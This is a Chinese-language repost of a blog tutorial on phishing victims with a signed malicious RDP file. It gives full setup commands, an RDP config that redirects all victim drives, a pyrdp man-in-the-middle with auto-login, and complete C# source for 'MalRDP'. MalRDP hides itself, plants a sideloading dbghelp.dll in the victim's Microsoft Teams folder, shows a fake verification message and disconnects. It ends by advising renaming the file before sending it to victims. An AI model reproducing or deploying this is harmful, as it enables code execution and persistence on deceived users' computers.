通过 RDP 文件钓鱼

admin 2024年10月13日01:52:22评论13 views字数 6228阅读20分45秒阅读模式

原文:https://shorsec.io/blog/malrdp-implementing-rouge-rdp-manually/

0x00 前言

这起码对于我来说是新鲜玩意、文中可概括为几个部分:

  1. 1. 服务器的基础配置

  2. 2. RDP 文件的制作,这个比较费时间

  3. 3. 共享盘的利用

  4. 4. 钓鱼文案

0x01 基础设施

首先,我们需要在云供应商中创建一台 Windows 服务器,这里我使用了 AWS 的 EC2 实例 Windows Server 2022 机器。

通过 RDP 文件钓鱼

请务必为此 EC2 实例设置密钥对,否则将无法检索此实例的密码:

通过 RDP 文件钓鱼

应该只允许来自互联网的端口 443 和 80 入站(当然还有绑定到 IP 的 3389,以便可以连接到服务器并对其进行配置):

通过 RDP 文件钓鱼

EC2 实例完成初始化后,单击连接,然后单击解密密码,上传您的私有密钥,最后显示 EC2 计算机的密码(用户名是 administrator):

通过 RDP 文件钓鱼
image.png

现在我们可以通过 RDP 连接到我们的机器并开始配置:

通过 RDP 文件钓鱼
image.png

0x02 初始配置

首先要做的是在我们的机器上安装 WSL(Linux 的 Windows 子系统)。在安装了 Windows Server 2022 的 EC2 上,我们只需打开 PowerShell 并输入以下命令,然后重新启动我们的 EC2 实例:

wsl --install--enable-wsl1
通过 RDP 文件钓鱼
image.png

重新启动 EC2 实例后,运行以下命令:

wsl --set-default-version1

现在 WSL 安装已完成,单击 SHIFT+右键单击桌面上的任意位置,然后单击在此处打开 Linux Shell:

通过 RDP 文件钓鱼
image.png

在 WSL shell 中,我们需要安装 python3、certbot 和 git:

apt update
apt install python3 python3-pip git libaugeas0
pip install certbot
通过 RDP 文件钓鱼
image.png

现在让我们设置我们的 DNS 记录并为其获取 SSL 证书。

为自己获取一个域名,只需创建一个 A 记录并将其指向 EC2 实例:

通过 RDP 文件钓鱼
image.png

现在,我们可以使用 certbot 为我们的域名获取 Let's Encrypt SSL 证书--我们将用它来签署最终的 RDP 文件,为我们的钓鱼网站增加一点合法性。 注意:确保 AWS 上的安全组允许来自互联网的入站 http(端口 80)(这是 certbot 确认拥有域的方式),并关闭 EC2 实例上的 Windows 防火墙:

通过 RDP 文件钓鱼
image.png

现在,在 WSL 外壳中运行以下命令,从 Certbot 获取证书:

certbot certonly --cert-name malrdp -<your.domain.com>--register-unsafely-without-email
通过 RDP 文件钓鱼
image.png

私钥和公钥将保存在 /etc/letsencrypt/live/YOUR_CERT_NAME/ 的 WSL 文件系统中。现在让我们使用 openssl 将它们转换为 pfx 格式

openssl pkcs12 -inkey /etc/letsencrypt/live/malrdp/privkey.pem -in/etc/letsencrypt/live/malrdp/fullchain.pem -export-out malrdp.pfx
通过 RDP 文件钓鱼
image.png

下一步是在我们的 Windows 证书存储中安装此证书,你可以通过右键单击 pfx 文件并单击安装 PFX 并按照向导中的说明进行操作来执行此操作。

现在我们已经安装了证书,我们需要获取它的指纹,以便用它来签署我们的 RDP 文件(我们的钓鱼文件),我们稍后将创建该文件。要获取我们的证书指纹,我们可以使用 certmgr.msc -> 个人 -> 证书 ->双击我们的证书 -> 详细信息 -> 指纹。复制证书的指纹,因为我们在下一步中需要用到它。

通过 RDP 文件钓鱼
image.png

现在,我们已准备好创建将用作网络钓鱼的 RDP 文件。打开记事本并创建名为 malrdp.rdp 的新文件,将以下内容复制到其中,确保更改完整地址字段中的域名,但将端口保留为443,然后保存 RDP 文件:

screen mode id:i:1
use multimon:i:0
desktopwidth:i:1920
desktopheight:i:1080
session bpp:i:32
winposstr:s:0,1,1904,23,3840,1142
compression:i:1
keyboardhook:i:2
audiocapturemode:i:0
videoplaybackmode:i:1
connection type:i:7
networkautodetect:i:1
bandwidthautodetect:i:1
displayconnectionbar:i:1
enableworkspacereconnect:i:0
disable wallpaper:i:0
allow font smoothing:i:0
allow desktop composition:i:0
disable full window drag:i:1
disable menu anims:i:1
disable themes:i:0
disable cursor setting:i:0
bitmapcachepersistenable:i:1
full address:s:<YOUR.DOMAIN.COM>:443
audiomode:i:0
redirectprinters:i:1
redirectcomports:i:0
redirectsmartcards:i:1
redirectwebauthn:i:1
redirectclipboard:i:1
redirectposdevices:i:0
autoreconnection enabled:i:1
authentication level:i:2
prompt for credentials:i:0
negotiate security layer:i:1
remoteapplicationmode:i:0
alternate shell:s:
shell working directory:s:
gatewayhostname:s:
gatewayusagemethod:i:4
gatewaycredentialssource:i:4
gatewayprofileusagemethod:i:0
promptcredentialonce:i:0
gatewaybrokeringtype:i:0
use redirection server name:i:0
rdgiskdcproxy:i:0
kdcproxyname:s:
enablerdsaadauth:i:0
redirectlocation:i:0
drivestoredirect:s:*
通过 RDP 文件钓鱼
image.png

现在,让我们对此 RDP 文件进行签名。在 PowerShell 中,输入以下命令对 RDP 文件进行签名:

rdpsign.exe /sha256 YOUR_CERTIFICATE_THUMBPRINT .malrdp.rdp
通过 RDP 文件钓鱼
image.png

如果现在打开 RDP 文件,则会看到它确实已签名:

通过 RDP 文件钓鱼
image.png

现在,让我们创建一个新用户供受害者连接:

net user tsuser StrongP@ssw0rd/add
net localgroup administrators tsuser /add
通过 RDP 文件钓鱼

为了使 RDP 文件自动连接,而无需受害者输入用户和密码,我们将使用 pyrdp 作为 RDP 的代理以及自动登录。再次打开 WSL 外壳,并使用以下命令下载并安装 pyrdp:

cd/opt/
git clone https://github.com/GoSecure/pyrdp.git
cd pyrdp/
pip install .
通过 RDP 文件钓鱼

在运行 pyrdp 之前,我们必须确保 NLA 已针对我们的 Windows EC2 关闭。我们可以通过打开 Windows 设置->远程桌面->高级设置->确保取消选中要求计算机使用网络级别身份验证进行连接:

通过 RDP 文件钓鱼

现在我们准备好使用以下命令运行 Pyrdp(确保使用证书公钥和私钥,以便受害者不会收到任何 SSL 警告:

pyrdp-mitm.py 127.0.0.1:3389-u tsuser -StrongP@ssw0rd--listen 443-/etc/letsencrypt/live/malrdp/fullchain.pem -/etc/letsencrypt/live/malrdp/privkey.pem

如果你现在尝试使用 malrdp.rdp 钓鱼,则不会看到 SSL 警告,并且连接将在不需要受害者凭据的情况下通过:

通过 RDP 文件钓鱼

还会注意到 RDP 会话可以访问受害者的主机文件系统:

通过 RDP 文件钓鱼
image.png

现在我们已经准备好进入有趣的部分了...

0x03 武器化

目前,我们只有一个 RDP 文件,该文件无需凭据即可自动连接到我们的服务器,并将受害者的主机文件系统暴露给我们的服务器。现在我们需要利用这种级别的访问。

有几种方法可以做到这一点,但为了保持简单,我们将使用一个人为的场景,我们将在受害者的主机文件系统中植入一个 DLL,特别是 Microsoft Teams AppData 文件夹,每次受害者运行 Microsoft Teams 时都会侧加载。

至于其他漏洞利用场景,我鼓励你发挥你的想象力🙂。

我创建了一个简单的 C# 程序,我称之为 MalRDP,该程序在运行时将连接到受害者的主机文件系统(特别是 C 驱动器)并查找它有权访问的任何 Microsoft Teams AppData 文件夹,并将侧加载 DLL 复制到名为 dbghelp.dll 的 Teams 文件夹。

这将确保下次 Microsoft Teams 运行时,它将加载我们植入受害者文件系统中的恶意 DLL,并且我们在受害者的机器上获得代码执行(如果你考虑的话,还可以获得持久性)!

DLL 植入过程完成后,MalRDP 会让用户知道他将与服务器断开连接(根据网络钓鱼借口),然后断开受害者的连接,以防止他窥探我们的 RDP 服务器并允许下一个受害者也陷入此网络钓鱼。

我可能会扩展 MalRDP 以允许模块化配置,但这只是现在的 POC,我也想等待 Mike 的 Rouge RDP,这无疑比我想出的任何东西都要好,所以再次,请留意 Rouge RDP 的发布(我知道我是......

以下是 MalRDP 的代码:

usingSystem;
usingSystem.Collections.Generic;
usingSystem.IO;
usingSystem.Linq;
usingSystem.Runtime.InteropServices;
usingSystem.Windows.Forms;

namespaceMalRDP
{
classProgram
{
[DllImport("wtsapi32.dll",SetLastError=true)]
staticexternboolWTSLogoffSession(IntPtr hServer,int sessionId,bool bWait);

[DllImport("kernel32.dll")]
staticexternIntPtrGetConsoleWindow();

[DllImport("user32.dll")]
staticexternboolShowWindow(IntPtr hWnd,int nCmdShow);

constint SW_HIDE =0;
constint WTS_CURRENT_SESSION =-1;
staticreadonlyIntPtr WTS_CURRENT_SERVER_HANDLE =IntPtr.Zero;

staticvoidMain(string[] args)
{
var handle =GetConsoleWindow();
ShowWindow(handle, SW_HIDE);

try
{
List<string> user_directories =Directory.GetDirectories(@"\tsclientCUsers").ToList();
foreach (string dir in user_directories)
                {
try
                    {
if (dir.EndsWith("Default") || dir.EndsWith("DefaultUser") || dir.EndsWith("Public") || dir.EndsWith("AllUsers"))
continue;

string userTeamsFolder = $@"{dir}AppDataLocalMicrosoftTeamscurrent";
if (Directory.Exists(userTeamsFolder))
                        {
                            File.Copy(@"C:Netlogonmal.dll"$@"{userTeamsFolder}dbghelp.dll");
break;
                        }

                    }
catch { }
                }
            }
catch { }

            MessageBox.Show("Your remote access have been verified.nThank you for your cooperation.nNo further action is needed.");
            WTSLogoffSession(WTS_CURRENT_SERVER_HANDLE, WTS_CURRENT_SESSION, false);
        }
    }
}

因此,为了配置武器化过程,我编译了 MalRDP 和恶意 DLL,它将植入并将它们复制到我在 C:Netlogon 创建的文件夹中的 EC2 服务器。我还创建了一个可以简单地运行 MalRDP.exe 的 bat 文件并将其称为 tsuser.bat

通过 RDP 文件钓鱼
image.png

现在我们需要将 tsuser.bat 设置为 tsuser 的登录脚本。通过这样做,我们确保每次受害者连接到我们的 RDP 服务器时都会运行 MalRDP。我们可以通过打开计算机管理 -> 系统工具 -> 本地用户和组 -> 用户 ->双击 tsuser -> 配置文件 ->将登录脚本字段设置为“tsuser.bat”来设置它。

通过 RDP 文件钓鱼
image.png

最后要做的是共享 C:Netlogon 文件夹,并确保“每个人都”组对其具有读取访问权限。右键单击 Netlogon 文件夹 -> 属性 -> 共享 -> 高级共享 ->选中“共享此文件夹”-> 权限 -> 确保“每个人”组具有读取访问权限。

通过 RDP 文件钓鱼
image.png

0x04 钓钓鱼

就是这样,我们准备将 malrdp.rdp 文件发送给我们的受害者 - 只要记住重命名它,我认为任何受害者都不会点击名为 malrdp.rdp 的文件。 

并且不要忘记启动 pyrdp...

原文始发于微信公众号(RowTeam):通过 RDP 文件钓鱼

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月13日01:52:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通过 RDP 文件钓鱼https://cn-sec.com/archives/1925529.html

发表评论

匿名网友 填写信息